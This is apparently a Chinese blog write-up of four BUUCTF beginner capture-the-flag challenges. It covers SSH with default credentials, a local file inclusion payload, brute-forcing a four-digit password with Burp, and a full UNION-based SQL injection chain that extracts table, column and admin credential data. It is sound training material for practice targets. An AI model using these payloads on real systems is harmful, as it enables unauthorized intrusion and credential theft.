BUUCTF-Basic部分(4道)

news/2025/4/1 22:17:41/

目录

Linux Labs

BUU LFI COURSE 1

BUU BRUTE 1

 BUU SQL COURSE 1


Linux Labs

 第一个界面,给出了SSH
ssh 用户名:root 密码:123456 地址和端口为动态分配的
以及映射地址和端口(这个地址+端口是随机的)

node4.buuoj.cn:29804

使用xshell进行ssh进行连接,输入主机和端口号

 输入用户名和密码

成功ssh登入

在根目录下,找到了flag.txt的文件,拿到flag

BUU LFI COURSE 1

属于文件包含,这里文件包含时,不论什么类型文件都会被当作php文件执行

那么构造参数,猜测flag位置在根目录下

?file=/flag

成功回显flag内容

BUU BRUTE 1

这里是一个登录页面,使用bp抓包看一下,发现当输入错误用户名时,会回显“用户名错误”

那么我们尝试像admin,root等常用用户名,试出正确的用户名 admin,而且会回显密码为4位数字

如此可以确定思路,使用暴力破解,爆破4位数字密码(0000-9999) ,设置如下

密码四位整数,最小值为0,最大值为9999,设置递增步长为1,以探测每一个从0到9999的数字;由于密码为4位,所以对应不足四位的,需要以0补齐四位数。设置Min integer digits和Max integer digits的长度为4,设置小数点位数Min(Max) fraction digits为0

开始爆破,得到密码6490,在响应包中,可以看到flag回显 

 BUU SQL COURSE 1

上方左上角和右上角又热点和登录的选项,登陆选项尝试弱口令登录,发现无法判断用户名或者是密码是否有一项正确,放弃爆破,延题目寻找sql注入点

热点中存在三条热点测试新闻,随意点击一个抓包看一下

点击测试新闻2,发现id参数可控

payload:?id=1+and+1=1    页面正常回显;

              ?id=1+and1=2  页面没有回显,判断此处存在sql注入

 

接下来就是sql注入常规操作了,先判断回显位置

payload:?id=1+order+by+1,2  两列回显

               ?id=1+order+by+1,2,3  无回显

 判断,存在两处回显

开始判断数据库名,这里id后的参数不能是1,2,3,其他值均可

payload:?id=4+union+select+1,database()

 得到数据库名称news

判断表名

payload:

?id=4+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='news')

得到两个表名admin,contents

 判断admin表的列名

payload:?id=4+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='news'+and+table_name='admin')

得到三个列名id,username,password

 查询username和password的内容

payload:?id=4+union+select+1,(select+group_concat(username)+from+admin)

 得到username内容,admin

payload:?id=4+union+select+1,(select+group_concat(password)+from+admin)

 得到password的内容,a3a052083543baa047445ec732e7260a

再回到登录页面输入

username:  admin

password:  a3a052083543baa047445ec732e7260a

得到flag


http://www.ppmy.cn/news/76377.html

相关文章

工作几年,涨薪4K遭拒,后一天我就裸辞走了···

19年7月大学毕业,当时学的计算机科学专业。因为考研之后,秋招结束了。也没什么更多的岗位选择,就想着找个工作先干着,刚好有个亲戚在一家大厂公司上班说要招测试,所以就来做测试了。 虽然都是属于计算机大类&#xff0…

Unexpected token ‘‘‘, “‘{“type“:““... is not valid JSON

尝试低代码schema解析JSON时报错,奇怪的是控制台解析正常,项目js执行JSON.parse()报错,简直无语了,,, 只能挨个检查了,首先温习了下JSON 的标准格式: JSON的合法符号:{(左大括号) }(右大括号) "(双引号) :(冒号) ,(逗号) [(左中括号) ](右中括号) JSON字符串:…

Apache Kafka - 安装注意事项

文章目录 概述安装Kafka配置Kafka启动Kafka配置注意事项导图 概述 在现代的大数据时代,消息队列成为了极为重要的组件。Kafka作为一种高吞吐量、低延迟、可扩展的分布式发布订阅消息系统,在大数据领域得到了广泛的应用。来,这里我们将介绍如…

扩展定时器(EXTIM)

概述 扩展定时器支持以下功能 ⚫ 4个独立的16bit定时器 ⚫ Auto-reload定时 ⚫ 外部事件计数 ⚫ 输入边沿捕捉(事件触发、自由计数) ⚫ 脉冲宽度或周期捕捉(PWC模式) ⚫ 脉冲宽度调制(PWM模式) ⚫ 32bit级联…

如果一定要在C++和JAVA中选择,是C++还是java?

前言 C和Java都是广泛应用于软件开发领域的高级编程语言。它们都有着各自的优势和适用场景,因此在进行选择时需要考虑到具体的需求和使用情况。 首先,C是一种面向对象的编程语言,它允许程序员直接控制计算机硬件,而且拥有较低的…

一个规则引擎的可视化方案

背景 最近有个新项目可能会用到规则引擎,所以花了些时间对相关技术做调研,在百度、google用“规则引擎”作为关键字进行搜索,可以找到很多关于这方面的资料,绝大部分都会提到 drools、urules、easy-rules等等这么些开源项目&…

【环境准备】在虚拟机的Ubuntu下安装VS Code并配置C/C++运行环境

1.点击进入 vscode官网 下载.deb安装包 2.启动虚拟机下的Ubuntu,Windows下的Xftp和Xshell Xftp:用于将刚刚在Windows下下载好的vscode.deb安装包传输到Ununtu中。Xshell:用于远程登录Ununtu,进行 vscode.deb 安装包安装&#xff…

安科瑞对于热继电器对电动机保护的探讨

安科瑞 徐浩竣 江苏安科瑞电器制造有限公司 zx acrelxhj 摘要:电动机烧毁是每一个生产企业都无法回避的现象,怎样加强电动机保护,使生产工艺系统的稳定,减少企业非正常停机时间。电动机保护成为电气技术人员一个重要课题。因此&#xff0c…